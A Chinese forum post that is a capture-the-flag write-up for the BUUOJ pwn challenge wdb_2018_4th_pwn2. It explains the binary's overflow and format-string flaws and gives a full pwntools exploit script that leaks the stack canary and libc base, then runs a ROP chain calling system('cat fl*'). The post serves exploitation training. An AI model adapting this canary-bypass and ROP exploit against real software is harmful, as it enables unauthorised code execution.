学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-9-1 08:53:13 | 查看: 1517| 回复: 0

相关题目:

♦ 4th-pwn2

  wdb_2018_4th_pwn2(爆破随机数为0)
  首先,检查一下程序的保护机制

wdb_2018_pwn_4th-pwn2(爆破随机数为0)

wdb_2018_pwn_4th-pwn2(爆破随机数为0)
  然后,我们用IDA分析一下,功能1栈溢出,但是有canary

wdb_2018_pwn_4th-pwn2(爆破随机数为0)

wdb_2018_pwn_4th-pwn2(爆破随机数为0)
  功能3格式化字符串,当仅能泄露一个值。

wdb_2018_pwn_4th-pwn2(爆破随机数为0)

wdb_2018_pwn_4th-pwn2(爆破随机数为0)
  功能2是一个递归调用,多次递归,可以在栈里多处位置留下canary的值

wdb_2018_pwn_4th-pwn2(爆破随机数为0)

wdb_2018_pwn_4th-pwn2(爆破随机数为0)
  功能9011也是一个栈溢出,但是需要正确的key才能进行。

wdb_2018_pwn_4th-pwn2(爆破随机数为0)

wdb_2018_pwn_4th-pwn2(爆破随机数为0)
  可以使用功能3泄露libc地址,然后功能2递归多次,再使用功能1将canary的值泄露,最后通过爆破随机数,用9011功能来进行栈溢出做ROP。
  随机数可以直接用0来爆破,因为/dev/urandom随机数也可能产生0,并且爆破失败程序可以继续,而不是崩溃。
#coding:utf8
from pwn import *

#sh = process('./wdb_2018_4th_pwn2',env={'LD_PRELOAD':'./libc-2.23.so'})
context.log_level = 'debug'
sh = remote('node3.buuoj.cn',25936)
libc = ELF('./libc-2.23.so')


def stack(payload):
   sh.sendlineafter('option:','1')
   sh.sendafter('once..',payload)

def bored(payload,n):
   sh.sendlineafter('option:','2')
   for i in range(n-1):
      sh.sendafter('bored...','a')
      sh.sendlineafter('Satisfied?y/n','n')
   sh.sendafter('bored...',payload)
   sh.sendlineafter('Satisfied?y/n','y')

def printf(payload):
   sh.sendlineafter('option:','3')
   sh.sendafter('think?)',payload)


def secret(code):
   sh.sendlineafter('option:','9011')
   sh.sendafter('code:',code)

bored('a',5)
stack('a'*0xA9)
sh.recvuntil('a'*0xA9)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
printf('%a')
sh.recvuntil('0x0.0')
libc_base = int(sh.recvuntil('p-',drop = True),16) - libc.sym['_IO_2_1_stdout_'] - 0x83
system_addr = libc_base + libc.sym['system']
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
#mov qword ptr [rsi], rdi ; ret
mov_q_rsi_rdi = libc_base + 0x0000000000123052
bss = libc_base + libc.bss()
print 'libc_base=',hex(libc_base)
payload = 'a'*0x8 + p64(canary) + p64(0) + p64(pop_rdi) + 'cat fl*\x00' + p64(pop_rsi) + p64(bss) + p64(mov_q_rsi_rdi)
payload += p64(pop_rdi) + p64(bss) + p64(system_addr)
payload = payload.ljust(0x1000,'\x00')
bored(payload,1)

#爆破随机数为0
try:
   for i in range(9999):
      secret('\x00'*0x8)
except:
   sh.close()

sh.interactive()
                                                                                          
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-3-28 20:34 , Processed in 0.093846 second(s), 38 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表